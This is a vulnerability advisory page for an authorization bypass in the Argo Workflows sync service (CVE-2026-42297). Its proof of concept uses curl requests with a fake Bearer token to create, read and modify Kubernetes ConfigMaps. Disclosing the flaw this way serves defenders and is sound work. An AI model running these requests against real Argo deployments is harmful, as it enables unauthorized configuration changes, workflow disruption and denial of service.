Argo Workflows CVE-2026-42297
HIGHCVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
5DescriptionNVD
Summary
The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user - including those using fake Bearer tokens - can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details
The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:
// sync_cm.go - UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
// NO auth.CanI check
kubeClient := auth.GetKubeClient(ctx)
configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
// ... directly creates/updates ConfigMaps
}server/sync/sync_cm.go- lines 23-155- All four SyncService endpoints:
CreateSyncLimit,GetSyncLimit,UpdateSyncLimit,DeleteSyncLimit
PoC
Prerequisites
- Argo Server running with
--auth-mode=server - Port-forward:
kubectl port-forward -n argo svc/argo-server 2746:2746
Step 1: Create Sync Limit (Fake Token)
curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
kubectl get configmap test-sync -n defaultNAME DATA AGE
test-sync 1 74sStep 2: Read Sync Limit (Fake Token)
curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
-H "Authorization: Bearer fake-token"Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'999Impact
An attacker with network access to the Argo Server can:
- Denial of Service - Set sync limits to
0or1, blocking all parallel workflow execution - Workflow Disruption - Modify existing sync limits to break running workflows
- Information Disclosure - Read ConfigMap data that may contain sensitive configuration
- Arbitrary ConfigMap Manipulation - Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints - same root cause (missing
auth.CanIcheck) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass - same pattern
AnalysisAI
Missing authorization checks in Argo Workflows v4.0.0-4.0.4 allow any authenticated user-even those with fake Bearer tokens-to create, read, update, and delete Kubernetes ConfigMaps containing workflow synchronization limits. The ConfigMap-backed sync provider (server/sync/sync_cm.go) completely omits auth.CanI permission validation on all four CRUD endpoints. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Identify all Argo Workflows deployments running versions 4.0.0-4.0.4 across all environments using kubectl and your deployment inventory. Within 7 days: Upgrade all affected instances to Argo Workflows version 4.0.5 or later per vendor advisory; validate RBAC policies post-upgrade to restrict ConfigMap access to authorized workflows only. …
Sign in for detailed remediation steps.
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-xchc-cqwg-g76q